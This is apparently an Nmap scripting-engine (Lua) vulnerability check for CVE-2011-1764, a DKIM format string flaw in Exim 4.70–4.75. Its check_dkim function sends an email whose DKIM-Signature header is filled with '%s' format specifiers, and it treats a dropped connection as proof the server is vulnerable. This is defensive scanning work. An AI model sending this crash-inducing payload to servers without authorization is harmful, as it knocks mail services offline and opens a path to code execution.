local shortport = require "shortport"
local smtp = require "smtp"
local stdnse = require "stdnse"
local string = require "string"
local table = require "table"
local vulns = require "vulns"

description = [[
Checks for a format string vulnerability in the Exim SMTP server
(version 4.70 through 4.75) with DomainKeys Identified Mail (DKIM) support
(CVE-2011-1764).  The DKIM logging mechanism did not use format string
specifiers when logging some parts of the DKIM-Signature header field.
A remote attacker who is able to send emails, can exploit this vulnerability
and execute arbitrary code with the privileges of the Exim daemon.

Reference:
* http://bugs.exim.org/show_bug.cgi?id=1106
* http://thread.gmane.org/gmane.mail.exim.devel/4946
* https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2011-1764
* http://en.wikipedia.org/wiki/DomainKeys_Identified_Mail
]]

---
-- @usage
-- nmap --script=smtp-vuln-cve2011-1764 -pT:25,465,587 <host>
--
-- @output
-- PORT   STATE SERVICE
-- 25/tcp open  smtp
-- | smtp-vuln-cve2011-1764:
-- |   VULNERABLE:
-- |   Exim DKIM format string
-- |     State: VULNERABLE
-- |     IDs:  CVE:CVE-2011-1764  BID:47736
-- |     Risk factor: High  CVSSv2: 7.5 (HIGH) (AV:N/AC:L/Au:N/C:P/I:P/A:P)
-- |     Description:
-- |       Exim SMTP server (version 4.70 through 4.75) with DomainKeys Identified
-- |       Mail (DKIM) support is vulnerable to a format string. A remote attacker
-- |       who is able to send emails, can exploit this vulnerability and execute
-- |       arbitrary code with the privileges of the Exim daemon.
-- |     Disclosure date: 2011-04-29
-- |     References:
-- |       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-1764
-- |       https://www.securityfocus.com/bid/47736
-- |_      http://bugs.exim.org/show_bug.cgi?id=1106
--
-- @args smtp-vuln-cve2011-1764.mailfrom Define the source email address to
--       be used.
-- @args smtp-vuln-cve2011-1764.mailto Define the destination email address
--       to be used.

author = "Djalal Harouni"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
categories = {"intrusive", "vuln"}


portrule = function (host, port)
  if port.version.product ~= nil and port.version.product ~= "Exim smtpd" then
     return false
  end
  return shortport.port_or_service({25, 465, 587},
              {"smtp", "smtps", "submission"})(host, port)
end

local function smtp_finish(socket, status, msg)
  if socket then
    socket:close()
  end
  return status, msg
end

local function get_exim_banner(response)
  local banner, version
  banner = response:match("%d+%s(.+)")
  if banner and banner:match("Exim") then
    version = tonumber(banner:match("Exim%s([0-9%.]+)"))
  end
  return banner, version
end

-- Sends the mail with the evil DKIM-Signatures header.
-- Returns true, true if the Exim server is vulnerable
local function check_dkim(socket, smtp_opts)
  local killed = false

  stdnse.debug2("checking the Exim DKIM Format String")

  local status, response = smtp.mail(socket, smtp_opts.mailfrom)
  if not status then
    return status, response
  end

  status, response = smtp.recipient(socket, smtp_opts.mailto)
  if not status then
    return status, response
  end

  status, response = smtp.datasend(socket)
  if not status then
    return status, response
  end

  local message = (
    string.format( "MIME-Version: 1.0\r\nFrom: <%s>\r\nTo: <%s>\r\n",
      smtp_opts.mailfrom, smtp_opts.mailto)
    .."Subject: Nmap Exim DKIM Format String check\r\n"
    -- use a fake DKIM-Signature header.
    .."DKIM-Signature: v=1; a=%s%s%s%s;"
    .." c=%s%s%s%s; q=dns/txt;\r\n"
    .." d=%s%s%s%s; s=%s%s%s%s;\r\n"
    .." h=mime-version:from:to:subject;\r\n"
    .." bh=MTIzNDU2Nzg5MDEyMzQ1Njc4OTAxMjM0NTY3ODkwMTI=;\r\n"
    .." b=DyE0uKynaea3Y66zkrnMaBqtYPYVXhazCKGBiZKMNywclgbj0MkREPH3t2EWByev9g=\r\n"
    )
  status, response = socket:send(message)
  if not status then
    return status, "failed to send the message."
  end

  status, response = smtp.query(socket, ".")
  if not status then
    if string.match(response, "connection closed") then
      stdnse.debug2("Exim server is vulnerable to DKIM Format String")
      killed = true
    else
      return status, "failed to terminate the message, seems NOT VULNERABLE"
    end
  end

  return true, killed
end

-- Checks if the Exim server is vulnerable to CVE-2011-1764
local function check_exim(smtp_opts)
  local smtp_server = {}
  local exim_ver_min, exim_ver_max = 4.70, 4.75

  local socket, ret = smtp.connect(smtp_opts.host,
                          smtp_opts.port,
                          {ssl = true,
                          timeout = 10000,
                          recv_before = true,
                          lines = 1})

  if not socket then
    return smtp_finish(nil, socket, ret)
  end

  smtp_server.banner, smtp_server.version = get_exim_banner(ret)
  if not smtp_server.banner then
    return smtp_finish(socket, false,
              'failed to read the SMTP banner.')
  elseif not smtp_server.banner:match("Exim") then
    return smtp_finish(socket, false,
              'not a Exim server: NOT VULNERABLE')
  end

  local vuln = smtp_opts.vuln
  vuln.extra_info = {}
  if smtp_server.version then
    if smtp_server.version <= exim_ver_max and
      smtp_server.version >= exim_ver_min then
      vuln.state = vulns.STATE.LIKELY_VULN
      table.insert(vuln.extra_info,
          string.format("Exim version: %.02f", smtp_server.version))
    else
      vuln.state = vulns.STATE.NOT_VULN
      return smtp_finish(socket, true)
    end
  end

  local status, response = smtp.ehlo(socket, smtp_opts.domain)
  if not status then
    return smtp_finish(socket, status, response)
  end

  -- set the appropriate 'MAIL FROM' and 'RCPT TO' values
  if not smtp_opts.mailfrom then
    smtp_opts.mailfrom = string.format("root@%s", smtp_opts.domain)
  end
  if not smtp_opts.mailto then
    smtp_opts.mailto = string.format("postmaster@%s",
                          smtp_opts.host.targetname and
                          smtp_opts.host.targetname or 'localhost')
  end

  status, ret = check_dkim(socket, smtp_opts)
  if not status then
    return smtp_finish(socket, status, ret)
  elseif ret then
    vuln.state = vulns.STATE.VULN
  elseif not vuln.state then
    vuln.state = vulns.STATE.NOT_VULN
  end

  return smtp_finish(socket, true)
end

action = function(host, port)
  local smtp_opts = {
    host = host,
    port = port,
    domain = stdnse.get_script_args('smtp.domain') or
              'nmap.scanme.org',
    mailfrom = stdnse.get_script_args('smtp-vuln-cve2011-1764.mailfrom'),
    mailto = stdnse.get_script_args('smtp-vuln-cve2011-1764.mailto'),
    vuln = {
      title = 'Exim DKIM format string',
      IDS = {CVE = 'CVE-2011-1764', BID = '47736'},
      risk_factor = "High",
      scores = {
        CVSSv2 = "7.5 (HIGH) (AV:N/AC:L/Au:N/C:P/I:P/A:P)",
      },
      description = [[
Exim SMTP server (version 4.70 through 4.75) with DomainKeys Identified
Mail (DKIM) support is vulnerable to a format string. A remote attacker
who is able to send emails, can exploit this vulnerability and execute
arbitrary code with the privileges of the Exim daemon.]],
      references = {
        'http://bugs.exim.org/show_bug.cgi?id=1106',
      },
      dates = {
        disclosure = {year = '2011', month = '04', day = '29'},
      },
    },
  }

  local report = vulns.Report:new(SCRIPT_NAME, host, port)
  local status, err = check_exim(smtp_opts)
  if not status then
    stdnse.debug1("%s", err)
    return nil
  end
  return report:make_output(smtp_opts.vuln)
end
